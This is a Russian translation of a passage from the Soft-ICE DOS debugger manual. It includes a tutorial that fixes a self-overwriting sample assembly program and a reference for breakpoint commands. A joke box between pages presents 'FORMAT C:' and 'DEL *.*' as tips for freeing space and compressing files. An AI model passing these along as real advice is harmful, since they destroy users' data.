Символ (^) - shift + 6. Это назначит команду RS клавише F12, но сделает эту команду невидимой.
Нажмите клавишу F12 несколько раз. Заметьте что команда RS больше не выводится в окне Soft-ICE.
Вы также можете назначать функциональной клавише последовательность команд. Не забывайте ставить знак возврата каретки между командами. Теперь давайте подготовимся использовать Soft-ICE в дополнение к утилите MS-DOS DEBUG.
Уберите окно регистров, нажав F2. Потом сократите размер окна до приблизительно 6 строк используя ALT .
Введите:
ACTION INT3 |
Эта команда заставляет Soft-ICE сгенерировать int 3 при выполнении условий точки останова. Таким образом, Soft-ICE будет взаимодействовать с DEBUG. Установка по умолчанию - HERE. ACTION HERE будет заставлять возвращать управление непосредственно Soft-ICE. Используйте ACTION HERE при работе с Soft-ICE как с автономным отладчиком.
Тем, кто не использует DEBUG с этой обучающей частью, теперь возможно придется импровизировать. CODEVIEW работает с ACTION установленным на NMI. Большинство других отладчиков будет работать с ACTION INT3. Если ваш отладчик не делает этого и вам необходима помощь для импровизации, обратитесь к полному описанию ACTION (см. часть 5.4).
Для того чтобы снова убрать окно Soft-ICE, введите:
X |
Это - альтернативный метод для выхода из Soft-ICE. Это особенно полезно при переопределениях функциональных клавиш.
Теперь, когда вы знакомы с некоторыми из азов использования Soft-ICE, давайте вникнем в некоторые детали, отлаживая программу-пример (SAMPLE.ASM).
SAMPLE.ASM - простая программа, написанная на Ассемблере программистом по имени Jed. Программа читает нажатия клавиш из DOS и выводит сообщение, говорящее был ли нажат пробел.
Для запуска программы SAMPLE, введите:
SAMPLE |
Теперь нажмите "пробел". Нажмите несколько клавиш. Очевидно у программы Jеd'а проблемы! Jed потратил часы, изучая этот исходный код, и уверен, что в его логике нет никаких недостатков. Однако, Jed позаимствовал несколько вспомогательных подпрограмм у его друга Jаке'а (get_key, is_space?). Jed немного подозревает эти подпрограммы, но не может найти ошибку.
Исходный код программы Jеd'а выглядит следующим образом:
Page 55,80 Title Пример программы для обучающей части Soft-ICE DATA Segment Public 'Data' pad db 12H dup(O) char db 0 answer db 0 space_msg db 'Был нажат ПРОБЕЛ',0DH,0AH,'$' no_space_msg db 'Введенный символ - НЕ ' db 'ПРОБЕЛ',0DH,0AH,'$' DATA Ends STACK Segment Stack 'Stack' Dw 128 Dup (?) ;Стек программы STACK Ends CODE Segment Public 'Code' Assume CS:CODE,DS:DATA,ES:Nothing,SS:STACK start: ; Устанавливаем сегменты mov ax,DATA mov es,ax mov ds,ax ; Основной цикл программы main_loop: call get_key call is_space? cmp answer,0 je no_space ; Это пробел, выводим сообщение о пробеле mov ah,9 mov dx,offset space_msg int 21H jmp main_loop ; Это НЕ пробел, выводим сообщение об отсутствии пробела no_space: mov ah,9 mov dx,offset no_space_msg int 21H jmp main_loop ;---------------------; ; ПОДПРОГРАММЫ JАКЕ'а ;---------------------; ; Подпрограмма Get Key (одна из подпрограмм Jаке'а) get_key proc mov ah,8 int 21H mov char,al ret get_key endp ; Проверка, является ли символ пробелом (одна из подпрограмм Jаке'а) is_space? proc cmp char,20H jne not_space mov answer,1 ret not_space: mov cs:answer,0 ret is_space? endp CODE Ends End start |
Jed использовал DEBUG, но не был способен решить проблему с его помощью. По рекомендации его племянника Jethro, Jed купил Soft-ICE. Он немного сомневался в необходимости этого, потому что он уже пытался использовать отладчик аппаратного уровня, но так и не смог заставить его правильно работать. Он хотел попробовать Soft-ICE, потому что он мог бы продолжать использовать DEBUG - единственный отладчик, с которым он действительно умеет работать.
Нажмите CTRL C, чтобы выйти из программы. Введите следующие команды:
DEBUG диск:\путь\SАМРLЕ.EXE U R |
За часы, которые Jed потратил, пытаясь найти эту неуловимую ошибку, он понял, что что-то непонятным образом записывается поверх его кода. Jed решает при помощи Soft-ICE установить точку останова на диапазон его сегмента кода.
Руководство по Soft-ICE (DOS) - 5.
| Если бы автомобилестроение развивалось такими же темпами, как компьютерная индустрия, Роллс-Ройс стоил бы 5 долларов, ездил 1000 миль на галлон бензина и раз в год взрывался с четырьмя пассажирами. |
Нажмите: ALT D.
Окно Soft-ICE вернулось. Переместите окно (с использованием CTRL и клавиш стрелок), пока не будет виден экран регистров DEBUG. Настало время установить нашу первую точку останова.
Введите:
BPR сег. кода:0 сег. кода:25 W |
Сег. кода - значение в регистре CS, показываемое при помощи команды R в DEBUG.
Команда BPR устанавливает точку останова на диапазон памяти. Длина сегмента кода Jеd'а - 25H байт, так что указанный диапазон памяти продолжается от начала его кода до конца. W сообщает Soft-ICE останавливаться при записи в этот диапазон. Мы хотим перехватить любую неожиданную запись в код Jеd'а.
Введите:
BL |
Команда BL покажет все точки останова. Вывод после команды BL выглядит следующим образом:
0) BPR сег. кода:0000 сег. кода:0025 W C = 01 |
0 - идентификатор этой точки останова. Диапазон и W показаны, так как были введены, а счетчик (так как он не был определен) по умолчанию равен 1.
Теперь настал момент истины. Нажмите ALT D.
Окно снова исчезает. Чтобы запустить SAMPLE из DEBUG, введите:
G |
Нажмите "пробел". Пока все Ok. Теперь нажмите непробельную клавишу.
Наша точка останова только что пробудила DEBUG. Выведены регистры и одна дизассемблированная инструкция.
Введите:
U cs:адрес |
Адрес - значение регистра IP минус 10 (шестнадцатеричное). Так как DEBUG довольно примитивен, значение регистра IP минус 10 должно быть рассчитано вручную. Указатель инструкции указывает на инструкцию, следующую за той, которая активизировала точку останова. Возвратом на десять (шестнадцатеричных) байт мы синхронизируем DEBUG с нужной нам инструкцией.
Инструкция по смещению 3BH:
CS: MOV BYTE PTR [13],0 |
Jed говорит, "Вот оно! Я так и знал, что проблема была во вспомогательных подпрограммах Jаке'а! Инструкция выходящая за его сегмент кода записывает нулевой байт прямо в мой код! Кто мог об этом знать!".
Введите:
U 0 |
Местоположение 13H должно являться смещением инструкции условного перехода. Относительное смещение условного перехода устанавливается в ноль. Если вы являетесь гуру в 8086, вы, очевидно, знаете, что JE НИКОГДА не сработает, если относительное смещение - ноль. Какая тонкая ОШИБКА!
Теперь давайте разберемся, как эта проблема была бы решена при использовании Soft-ICE как автономного отладчика. Но сначала мы должны выйти из DEBUG.
Перед выходом из отладчика будет неплохо дезактивировать все точки останова, если ACTION не установлена на HERE. Если вы это не сделаете, то когда выполнится останов и ACTION попробует вернуться к отладчику, который не загружен, результаты будут непредсказуемы. Мы изменили ACTION на INT3, следовательно, мы должны отменить точку останова.
Для вызова окна введите:
ALT D |
Просмотрите список точек останова, введя:
BL |
Обратите внимание, что строка описания точки останова выделена. Выделенная точка останова - последняя выполненная точки останова.
Заметьте, что номер точки останова - 0. Для дезактивации точки останова с номером ноль, введите:
BD 0 |
Снова просмотрите список точек останова, введя:
BL |
Звездочка (*) после номера точки останова покажет, что точка останова неактивна.
Чтобы удалить точку останова, введите:
BC 0 |
Снова введите BL.
Обратите внимание, что не выведено ни одной строки с точками останова.
Выйдите из Soft-ICE, а потом из отладчика, введя:
X Q |
Следующий раздел обучающей части демонстрирует, как Soft-ICE может использоваться для решения той же самой проблемы как автономный отладчик. Soft-ICE будет использоваться как отладчик на уровне исходного текста.
Для подготовки Soft-ICE производить отладку на уровне исходного текста, он должен быть установлен в вашем файле CONFIG.SYS и часть расширенной памяти должна быть занята для символов и файлов с исходными текстами. Soft-ICE может использоваться как отладчик на уровне исходного текста, только если в вашей системе есть расширенная память. Если у вас нет.
Расширенной памяти вы все равно можете прочитать остаток обучающей части, чтобы увидеть возможности Soft-ICE с расширенной памятью. Если вы не загрузили S-ICE.EXE в ваш файл CONFIG.SYS с памятью, зарезервированной для символов, сделайте это сейчас.
Для отладки программы-примера Soft-ICE как автономным отладчиком мы должны использовать загрузчик программ Soft-ICE (LDR.EXE). Чтобы загрузить пример программы (SAMPLE.EXE), файл символов (SAMPLE.SYM) и файл с исходным текстом (SAMPLE.ASM), введите:
LDR SAMPLE |
Теперь вы - в Soft-ICE с SAMPLE.EXE, загруженным в память. Заметьте что Soft-ICE занимает весь экран. Soft-ICE переключается в полноэкранный режим всякий раз, когда загружается программа. Исходный текст из SAMPLE.ASM должен быть виден в окне кода. Кроме того, видимы окно регистров и окно данных.
Выполните одну инструкцию, нажав F10.
Обратите внимание, что видео курсор перемещается на следующую инструкцию, которая будет выполнена на следующем шаге программы.
Нажмите F6.
Это переместит курсор в окно кода. Теперь поэкспериментируйте с клавишами , , PageUp и PageDn, для перемещения курсора и прокрутки исходного файла. Переместите курсор до 42 строки с клавишей .
Нажмите F9.
Мы только что установили точку останова при выполнении на строку 42. Строка должна выделиться, показывая, что точка останова установлена.
Введите:
BL |
Это покажет точку останова, которую мы только что установили. Теперь нажмите ALT D.
Произойдет выход из Soft-ICE, выполнение программы-примера, пока не произойдет останов в строке 42. Soft-ICE должен немедленно восстановиться, с выделенным видео курсором на строке 42.
Снова нажмите F6.
Это вернет курсор в командное окно. Теперь введите:
BC * |
Это уничтожит все точки останова (хотя должна быть установлена только одна). Теперь выйдете из Soft-ICE, нажав ALT D.
Вы вернулись к программе-примеру. Нажмите несколько клавиш, чтобы удостовериться, что она все еще не работает. Теперь вызовите Soft-ICE при помощи ALT D.
Так как ошибка уже произошла, мы хотим повторно начать программу. Введите:
EXIT RD |
Эта команда принудительно завершает программу-пример. R сообщает Soft-ICE о необходимости восстановить векторы прерываний в состояние, в котором они были когда была загружена LDR'ом программа-пример. D сообщает Soft-ICE о необходимости удалять все активные точки останова. R и D необязательны в этом случае, но неплохо будет выработать привычку к их указанию при выходе из программы, загруженной LDR.EXE.
Теперь вы вернулись к командной строке DOS. Загрузите программу, снова введя:
LDR SAMPLE.EXE |
Заметьте, что сейчас было введено расширение .EXE. Когда указано расширение, Soft-ICE не пытается загружать файл символов или файл с исходным текстом. В нашем случае файлы символов и исходного текста уже - в памяти.
Введите:
SYM |
Будут выведены все публичные символы программы-примера. Нажмите Esc, чтобы вернуться к командной строке.
Теперь установим точку останова на диапазон, такую же, как мы устанавливали когда использовали Soft-ICE как дополнение к отладчику. На этот раз мы будем использовать символы, чтобы установить точку останова. Введите:
BPR START .82 W |
Это установит точку останова на диапазон на наш сегмент кода от символа START до 82 строки исходного файла.
Введите:
BL |
Вы можете проверить, что точка останова установлена должным образом.
Нажмите ALT D. Нажмите непробельную клавишу. Мы вернулись в Soft-ICE. Заметьте что текущая инструкция (строка с инвертированным видео курсором) - инструкция, идущая после той, что вызвала останов. Чтобы увидеть фактический код нажмите клавишу F3. Это переводит Soft-ICE в смешанный режим. Заметьте, что видео курсор покрывает 2 строки. Это - фактическая строка кода и строка кода из исходного файла с текущей инструкцией. Еще раз нажмите клавишу F3. Сейчас мы - в режиме кода. Никакие исходные строки не видны. Инструкция, находящаяся выше инвертированного видео курсора - инструкция, вызвавшая останов на диапазон. Нажмите клавишу F3 еще раз, чтобы вернуться к режиму исходного текста. Теперь исправим ошибку в программе-примере. Выйдите из программы и вернитесь в командную строку DOS, введя:
EXIT RD |
LDR SAMPLE.EXE |
U not_space |
Руководство по Soft-ICE (DOS) - 6.
| - OS/2 это что? Половина операционной системы? |
Сейчас мы используем интерактивный ассемблер Soft-ICE, чтобы решить проблему.
Введите:
A not_space |
Soft-ICE выдаст в своей командной строке адрес.
Введите:
NOP |
Нажмите ВВОД для выхода из ассемблера.
Обратите внимание, что в окне кода появилась инструкция NOP вместо перекрытия CS по смещению 003BH.
Нажмите клавишу F3, чтобы вернуться к режиму исходного текста, (исходный код, конечно, не изменился). Нажмите ALT D, чтобы запустить исправленную программу-пример.
Нажмите: Пробел и несколько непробельных клавиш.
Работает! Вы исправили ошибку! Для выхода из программы Jеd'а и возврата в DOS, введите:
CTRL C |
Теперь мы продемонстрируем другую особенность Soft-ICE. Введите:
LDR SAMPLE.EXE |
Это загрузит программу-пример еще раз. Введите:
RIP HANG_EXAMPLE |
Первые две показанных инструкции:
CLI JMP $ |
Обратите внимание, что инструкция перехода указывает сама на себя. Этот бесконечный цикл обычно необратимо завешивает систему. Введите:
BREAK ON |
Мы только что включили режим BREAK. Режим BREAK заставит систему работать немного медленней, но позволит Soft-ICE активизироваться даже когда система в нормальных условиях считается зависшей.
Выйдите из Soft-ICE, нажав ALT D. Ваша система теперь зависла. Для неверующих, нажмите: CTRL ALT DEL.
Ничего не случилось! Она определенно зависла. Теперь нажмите ALT D.
Окно Soft-ICE - вернулось! Чтобы выйти из бесконечного цикла, введите:
EXIT RD |
Сейчас вы вернулись в DOS. Попробуйте произвести какие-нибудь действия, чтобы почувствовать снижение производительности. Много людей считают удобным оставлять BREAK ON как конфигурацию по умолчанию.
Отключите режим BREAK, введя:
ALT D BREAK OFF ALT D |
Сделайте что-нибудь, чтобы сравнить скорость. Вот и все! Веселитесь! Настало время начать экспериментировать и отлаживать ваши собственные программы. Просмотрите оставшуюся часть руководства и при необходимости обратитесь к специфическим разделам.
РАЗДЕЛ II -- Команды
Раздел II содержит списки синтаксиса для каждой команды Soft-ICE и объяснения и примеры для каждой команды. Все числа находятся в шестнадцатеричном формате; любое число может быть выражением с использованием +,-,/,* или регистров. Все команды нечувствительны к регистру букв. Слова, выделенные курсивом в выражениях синтаксиса команд должны быть заменены фактическими значениями, вместо их ввода курсивом.
В этой части везде используются следующие письменные условные обозначения:
[] -- Скобками выделяется необязательный пункт синтаксиса. < > -- Угловыми скобками выделяется список пунктов или вариантов. x | y -- Вертикальной чертой разделяются альтернативы.
Используйте или пункт x или пункт y.
Count -- Счетчик - байтовое значение, которое определяет количество случаев возникновения условий останова, которое должен быть пропущено перед фактической точкой останова. Если счетчик не определен, принимается значение по умолчанию 1. Каждый раз как вызывается окно Soft-IСЕ'а, значения счетчика переустанавливаются на первоначально указанные значения.
Verb -- Опция - значение, определяющее на какой тип доступа будет настроена точка останова. Он может быть установлен на "R" для чтения, "W" для записи, "RW" для чтения и записи или "X" для выполнения.
Address -- Адрес - значение, состоящее из двух 16-битных слов, разделенных двоеточием. Первое слово - адрес сегмента, второе слово - смещение сегмента. Адреса могут состоять из выражений с регистрами и символов. Адрес может также содержать специальные символы "$", "." и "@". См. часть 3.8 (Синтаксис Команд) для описания этих специальных символов.
Break-number -- Номер останова - идентификационный номер, который определяет точку останова, используемый при управлении точками останова (Например, их редактирование, удаление, активация или дезактивация). Номером останова может быть шестнадцатеричная цифра от 0 до F.
List -- Список - ряд номеров останова, разделенных запятыми или пробелами. mask -- Маска - битовая маска, представленная: комбинацией единиц, нулей и Х'ов. Х'ы - любые биты.
Пример:
BPIO 21 W EQ M 1XXX XXXX |
Эта команда вызовет останов, который произойдет, если в порт 21H будет произведена запись набора битов в вышеуказанном порядке.
GT, LT -- GT и LT - определители команды беззнакового сравнения значений.
ГЛАВА 4
Использование Команд Работы с Точками Останова
4.1 Введение 4.2 Установка Точек Останова 4.3 Управление Точками Останова
4.1 Введение
У Soft-ICE есть возможности работы с точками останова, обычно доступные только в аппаратных отладчиках. Мощность и гибкость процессора 80386 дают широкие возможности работы с точками останова без дополнительной аппаратуры.
Точки останова можно устанавливать на запись и чтение в ячейку памяти, запись и чтение в диапазон (область) памяти, выполнение программы и доступ к портам. Soft-ICE назначает одну шестнадцатеричную цифру (0-F) каждой точке останова. Этот номер останова используется для обозначения точек останова, когда вы их устанавливаете, удаляете, отменяете, восстанавливаете или редактируете.
Все точки останова Soft-ICE - "прилипающие". Это означает, что они не исчезают автоматически после того, как они использовались; вы должны намеренно удалить или отменить их, используя команды BC или BD. Soft-ICE может поддерживать 16 точек останова одновременно. Вы можете устанавливать до десяти точек останова отдельного типа, кроме точек останова на ячейку памяти (ВРМ'ов), которых может быть только четыре, из-за ограничений процессора 80386.
Для точек останова может быть определен параметр - счетчик. Параметр - счетчик сообщает Soft-ICE, сколько раз точка останова должна игнорироваться перед произведением останова.
4.2 Установка Точек Останова
Команды:
BPM, BPMB, BPMW, BPMD -- Устанавливают точку останова на доступ к памяти или выполнение BPR -- Устанавливает точку останова на диапазон памяти BPIO -- Устанавливает точку останова на доступ к порту ввода/вывода BPINT -- Устанавливает точку останова на прерывание BPX -- Устанавливает/отменяет точку останова на выполнение CSIP -- Устанавливает точку останова на CS:IP BPAND -- Ожидает срабатывания многих точек останова.
BPM, BPMB, BPMW, BPMD
BPM, BPMB, BPMW, BPMD -- Точка останова на доступ к памяти или выполнение.
Синтаксис:
BPM[размер]адрес[опция][значение определителя][C=счетчик] |
Размер -- B, W, D B -- Байт W -- Слово D -- Двойное Слово Размер - диапазон, охватываемый этой точкой останова. Например, если используется двойное слово и третий байт двойного слова изменен, то произойдет останов. Размер также важен, если указан необязательный определитель (см. ниже). опция -- R, W, RW или X определитель -- EQ, NE, GT, LT, M EQ -- Равно NE -- Не Равно GT -- Больше LT -- Меньше M -- Маска.
Эти определители применимы только к точкам останова на чтение и запись.
Значение -- Значение размером байт, слово или двойное слово, в зависимости от указанного размера.
Комментарии:
Команды BPM позволяют вам устанавливать точку останова на чтение или запись в память или на выполнение.
Если опция не указана, по умолчанию принимается RW.
Если размер не определен, по умолчанию принимается байт.
Все типы опций, кроме X, вызывают выполнение программой инструкции, которая вызвала останов. Текущий CS:IP будет указывать на следующую за точкой останова инструкцию. Если тип опции - X, текущий CS:IP будет указывать на инструкцию, на которую устанавливали точку останова.
Если указан R, то останов будет происходить при доступе на чтение и на операции записи, не изменяющие значение ячейки памяти.
Если тип опции - R, W или RW, выполнение инструкции по указанному адресу не будет вызывать останова.
Замечание: Если используется BPMW, указанный адрес должен начинаться на границе слова. Если используется BPMD, адрес должен указывать на границу двойного слова.
Пример:
BPM 1234:SI W EQ 10 C=3 |
Эта команда определяет точку останова на доступ к байту памяти. Останов произойдет, когда шестнадцатеричное число 10 будет записано третий раз в ячейку 1234:SI.
BPM CS:1235 X |
Эта команда определяет точку останова на выполнение. Останов произойдет, когда в первый раз будет достигнута инструкция по адресу CS:1235. Текущий CS:IP будет указывать на инструкцию, на которую устанавливали точку останова.
BPMW DS:F00 W EQ M 0XXX XXXX XXXX XXX1 |
Эта команда определяет точку останова на запись слова в память. Останов произойдет, когда первый раз в ячейку DS:F00 произойдет запись значения, устанавливающая старший бит в 0 и младший бит в 1. Другие биты могут принимать любое значение.
Руководство по Soft-ICE (DOS) - 7.
| - Может ли человек умереть от компьютерного вируса? - Смотря чей компьютер он им заразит. |
BPM DS:1000 W GT 5 |
Эта команда определяет точку останова на запись байта в память. Останов произойдет когда первый раз в ячейку DS:1000 произойдет запись значения, большего чем 5.
BPR |
BPR -- Устанавливает точку останова на диапазон памяти.
Синтаксис:
BPR адрес-начала адрес-конца [опция] [C=счетчик] |
Адрес-начала, адрес-конца -- адрес начала и адрес конца определяют диапазон памяти. опция - R, W, RW, T или TW.
Комментарии:
Команда BPR позволяет устанавливать точку останова на диапазон памяти.
Все типы опций, кроме T или TW, заставляют программу выполнять инструкцию, вызвавшую останов. Текущий CS:IP будет указывать на следующую за точкой останова инструкцию.
Это - не точка останова на выполнение. Если нужно, чтобы происходил останов при выполнении в диапазоне, должен использоваться R. Для точек останова на диапазон выполнение инструкции рассматривается как чтение.
Если опция не определена, по умолчанию принимается W.
Точка останова на диапазон будет, в известных обстоятельствах, снижать производительность системы. Любое чтение или запись в пределах 4КБ страницы, которая содержит диапазон точки останова, анализируется Soft-ICE. Это снижение производительности обычно незаметно, но оно может быть очень большим в исключительных случаях.
Опции T и TW дают возможность обратной прогонки в указанном диапазоне. Они не вызывают останова, но вместо этого сохраняют информацию об инструкциях, которая может быть выведена позже командами TRACE или SHOW. Для получения большей информации об обратной трассировке, см. главу 9.
Пример:
BPR B000:0 B000:1000 W |
Эта команда определяет точку останова на диапазон памяти. Останов произойдет, если произойдет любая запись в область видеопамяти монохромного адаптера.
BPIO |
BPIO -- Устанавливает точку останова на доступ к порту ввода/вывода.
Синтаксис:
BPIO порт [опция] [значение определителя] [C=счетчик] |
Порт -- Значение длиной в байт или слово опция -- R, W или RW R -- Чтение (IN) W -- Запись (OUT) определитель -- EQ, NE, GT, LT, M EQ -- Равно NE -- Не Равно GT -- Больше LT -- Меньше M -- Маска значение -- Значение длиной в байт или слово.
Комментарии:
Команда BPIO позволяет устанавливать точку останова на чтение или запись в порт ввода/вывода.
Если указано значение, оно сравнивается с фактически считываемыми или записываемыми данными, вызвавшей останов, инструкцией IN или OUT. Значение может быть байтом или словом. Если ввод/вывод происходит в байтовый порт, при сравнении используются младшие 8 битов.
Указатель инструкции (CS:IP) будет указывать на следующую инструкцию за вызвавшей останов инструкцией IN или OUT.
Если опция не определена, по умолчанию принимается RW.
Пример:
BPIO 21 W NE FF |
Эта команда определяет точку останова на доступ к порту ввода/вывода. Останов произойдет, если в регистр маски первого контроллера прерываний будет записано значение, отличное от FFH.
BPIO 3FE R EQ M 11XX XXXX |
Эта команда определяет байтовую точку останова на чтение из порта ввода/вывода. Останов произойдет при первом считывании из порта ввода/вывода 3FE значения, у которого два старших бита установлены в 1. Другие биты могут принимать любые значения.
BPINT |
BPINT -- Устанавливает точку останова на прерывание.
Синтаксис:
BPINT номер-прерывания [= значение] [C = счетчик] |
Номер-прерывания -- Номер прерывания из 0 - FF hex значение -- Значение длиной в байт или слово.
Комментарии:
Команда BPINT позволяет производить останов при выполнении аппаратного или программного прерывания. Указывая как необязательный параметр значение регистра AX, можно легко выделить определенные вызовы DOS или BIOS.
Если значение не определено, останов произойдет при выполнении прерывания, определенного номером-прерывания. Это прерывание может быть аппаратным, программным или внутренним прерыванием.
При выполнении прерывания необязательное значение сравнивается с указанным регистром (AH, AL или AX). Если значение соответствует указанному регистру, происходит останов.
Когда происходит останов, если прерывание было аппаратным, указатель инструк- ции (CS:IP) будет указывать на первую инструкцию в процедуре обработки преры- вания. Чтобы узнать, где происходило выполнение программы, когда произошло прерывание, может использоваться команда INT?. Если прерывание было программным, то при останове указатель инструкции (CS:IP) будет указывать на инструкцию INT, вызвавшую останов.
Пример:
BPINT 21 AH=4C |
Эта команда определяет точку останова на прерывание 21H. Останов произойдет, когда будет вызвана функция DOS 4CH (завершить программу).
BPX |
BPX -- Устанавливает/удаляет точку останова на выполнение.
Синтаксис:
BPX [адрес] [C=счетчик] |
Комментарии:
Команда BPX позволяет устанавливать или удалять точку останова типа point-and- shoot на выполнение в исходном тексте. Когда курсор находится в окне кода, адрес не требуется. Точка останова на выполнение устанавливается по адресу текущего положения курсора. Если точка останова на выполнение уже была установлена по адресу текущего положения курсора, то она будет удалена.
Если окно кода не видимо или курсор - не в окне кода, то должен быть определен адрес. Если определено только смещение, то в качестве сегмента используется текущее значение регистра CS.
Техническое Примечание: BPX использует для точек останова стиль прерывания 3, если указанный адрес не принадлежит ROM. Это используется вместо регистра точек останова, чтобы предоставить больше точек останова на выполнение. Если в ваших обстоятельствах по некоторым причинам требуется использование регистра точек останова (например, код не загружен) вы можете установить точку останова командой BPM.
Пример:
BPX.1234 |
Устанавливает точку останова на выполнение в строку 1234 исходного текста.
CSIP |
CSIP -- Устанавливает определитель диапазона CS:IP.
Синтаксис:
CSIP [OFF | [NOT] адрес-начала адрес-конца] |
NOT -- Когда указан NOT, останов произойдет только если указатель CS:IP выйдет из указанного диапазона. OFF -- Отменяет проверку CS:IP.
Комментарии:
Команда CSIP вызывает останов, зависящий от положения указателя инструкций, когда будут выполнены условия точки останова. Эта функция часто полезна, когда программа подозревается в случайном изменении кода вне своих границ.
Когда выполнены условия точки останова, регистры CS:IP сравниваются с указанным диапазоном. Если они - в пределах диапазона, точка останова активизируется. Для активизации останова, когда CS:IP - вне диапазона, используйте параметр NOT.
Когда определен диапазон CSIP, он применяется ко ВСЕМ точкам останова, которые активны в настоящее время.
Если параметры не определены, выводится текущий диапазон CSIP.
Пример:
CSIP NOT F000:0 FFFF: 0 |
Эта команда вызывает останов, который произойдет только если CS:IP НЕ указывают в область ROM BIOS когда выполнены условия точки останова.
BPAND |
BPAND -- Ожидает срабатывания многих точек останова.
Синтаксис:
BPAND список | * | OFF |
Список -- Ряд номеров-останова, разделенных запятыми или пробелами * -- Складывает по АND'у все точки останова.
Комментарии:
Команда BPAND производит логическую операцию AND над двумя и более точками останова, вызывая останов только, когда выполнены условия для всех точек останова.
Иногда условия останова возникают, когда он вам не нужен, пока не будут выполнены несколько различных условий. Команда BPAND позволяет определять две или более точек останова, которые должны произойти перед производимым действием. Эта функция позволяет устанавливать точки останова по более сложным условиям.
Каждый раз, когда используется команда BPAND, указанные номера точек останова добавляются к списку, пока не будет использована BPAND OFF.
Вы можете увидеть какие из номеров-останова объединены по АND'у, просматривая список точек останова командой BL. Номера точек останова, объединенных по АND'у, будут заканчиваться амперсантом (&).
Один раз объединенные по АND'у, точки останова остаются объединенными, пока не будут удалены или пока BPAND не будет отключен.
Пример:
BPAND 0,2,3 |
Эта команда логически связывает условия точек останова 0, 2 и 3 между собой. Останов происходит, только когда выполнены условия всех трех. Например, если, по крайней мере, однажды выполнены условия точек останова 2 и 3, но условия точки останова 0 пока не выполнены вообще, то действие не произойдет, пока не будут выполнены условия точки останова 0.
Руководство по Soft-ICE (DOS) - 8.
| А знаете ли Вы что... - 257 поворотов колёсика мыши означают быстрый выход из Windows. - Команда "FORMAT C:" освобождает много места на вашем жёстком диске. - Выключить компьютер можно и в удалённом доступе запустив в него что-нибудь тяжёлое. - Фирма Micosoft торгует вкусными пончиками (New-York, 15-Avenue, спросить Васю). - По результатам тестирования налучший метод сжатия файлов даёт команда "DEL *.*" обеспечивая 100% сжатие. - Чтобы русифицировать многие современные программы достаточно набрать в командной строке фразу "Yankee Go Home!' и нажать клавишу . |
4.3 Управление Точками Останова
Soft-ICE предоставляет несколько команд для управления точками останова. Команды управления разрешают просматривать список, изменять, удалять, активизировать и деактивировать точки останова. Точки останова идентифициру- ются номерами-останова, которые являются шестнадцатеричный цифрами от 0 до F. Вот команды управления точками останова:
BD -- Деактивирует точки останова BE -- Активизирует точки останова BL -- Выдает список точек останова BPE -- Редактирует точку останова BPT -- Использует точку останова как шаблон BC -- Удаляет точки останова
BD
BD - Деактивирует точки останова.
Синтаксис:
BD список | * |
Список -- Ряд номеров-останова, разделенных запятыми или пробелами * -- Деактивирует все точки останова.
Комментарии:
Команда BD используется для временной деактивации точек останова. Они могут вновь активизироваться командой BE (Активизировать точки останова).
Вы можете увидеть, какие из номеров-останова деактивированы, просматривая список точек останова командой BL. Точки останова, которые деактивированы, будут выделены звездочкой (*) после их номера-останова.
Пример:
BD 1,3 |
Эта команда временно деактивирует точки останова 1 и 3.
BE -- Активизирует точки останова.
Синтаксис:
BE список | * |
Список -- Ряд номеров-останова, разделенных запятыми или пробелами * -- Активизирует все точки останова.
Комментарии:
Команда BE используется для повторной активизации точек останова, которые были деактивированы командой BD (Деактивировать точки останова).
Заметьте, что точка останова автоматически активизируется при ее определении.
Пример:
BE 3 |
Эта команда активизирует точку останова 3.
BL
BL -- Выдает список точек останова.
Синтаксис:
BL |
Комментарии:
Команда BL показывает все точки останова, установленные в настоящее время. Для каждой точки останова BL выдает номер останова, условия точки останова, состояние точки останова и счетчик.
Состояние точки останова - либо активизирована либо деактивирована. Если точка останова деактивирована, после номера-останова выводится звездочка (*). Если активная точка останова используется в команде BPAND, после номера-оста- нова выводится символ (&). Самый последний вызвавший действие останов выделяется подсветкой.
У команды BL нет параметров.
Пример:
BL |
Эта команда показывает все точки останова, которые были определены. Вот пример экрана, который показывает четыре точки останова:
0) BPMB 1234:0000 W EQ 0010 C=03 1)*BPR B000:0000 B000:1000 W C=01 2) BPIO 0021 W NE 00FF C=01 3) BPINT 21 AH=4C C=01.
Заметьте, что в этом примере, точке останова 1 предшествует звездочка (*), показывающая, что она была деактивирована.
BPE
BPE -- Редактирует точку останова.
Синтаксис:
BPE номер-останова |
Комментарии:
Команда BPE загружает описание точки останова в строку редактирования для модификации. Тогда команда может быть отредактирована с использованием клавиш редактирования и повторно введена нажатием ВВОДа. Эта команда предоставляет быстрый способ изменения параметров существующей точки останова.
Пример:
BPE 1 |
Эта команда перемещает описание точки останова 1 в строку редактирования и удаляет точку останова 1. Нажатие клавиши ВВОД вызовет повторный ввод точки останова.
BPT
BPT -- Использует точку останова как шаблон.
Синтаксис:
BT номер-останова |
Комментарии:
Команда BPT использует описание существующей точки останова как шаблон для новой точки останова.
Описание существующей точки останова загружается в строку редактирования. Точка останова, определяемая номером-останова, не изменяется. Эта команда предлагает быстрый путь создания новой точки останова, похожей на существующую точку останова.
Пример:
BPT 3 |
Эта команда помещает шаблон точки останова 3 в строку редактирования. При нажатии клавиши ВВОД добавляется новая точка останова.
BC
BC -- Удаляет точки останова.
Синтаксис:
BC список | * |
Список -- Ряд номеров-останова, разделенных запятыми или пробелами * -- Удаляет все точки останова.
Комментарии:
Команда BC используется, чтобы навсегда удалить одну или более точек останова.
Пример:
BC * |
Эта команда удаляет все точки останова.
ГЛАВА 5
Использование Других Команд.
5.1 Команды Вывода и Редактирования 5.2 Команды Портов ввода/вывода 5.3 Команды Передачи Управления 5.4 Команды Режима Отладки 5.5 Сервисные Команды 5.6 Специализированные Отладочные Команды 5.7 Команды работы с Окнами 5.8 Команды Настройки Отладчика 5.9 Команды Управления Экраном 5.10 Команды Работы с Символами и Строками Исходного Текста 5.1 Команды Вывода и РедактированияКоманды:
U -- Дизассемблировать инструкции или показать исходный текст R -- Показать или изменить регистры MAP -- Показать карту памяти системы D -- Показать память в самом последнем указанном формате DB -- Показать память в формате байта DW -- Показать память в формате слова DD -- Показать память в формате двойного слова E -- Редактировать память в самом последнем указанном формате EB -- Редактировать байты памяти EW -- Редактировать слова памяти ED -- Редактировать двойные слова памяти INT? -- Показать последний номер прерывания ? Или H -- Показать информацию помощи VER -- Показать номер версии Soft-ICE.
U
U -- Дизассемблирует инструкции или показывает исходный текст.
Синтаксис:
U [адрес] [L[=]длина] |
Длина -- Число инструкций для дизассемблера.
Комментарии:
Команда U показывает инструкции отлаживаемой программы.
Если длина не определена, по умолчанию принимается восемь строк, если это возможно, или на одну строку меньше высоты экрана.
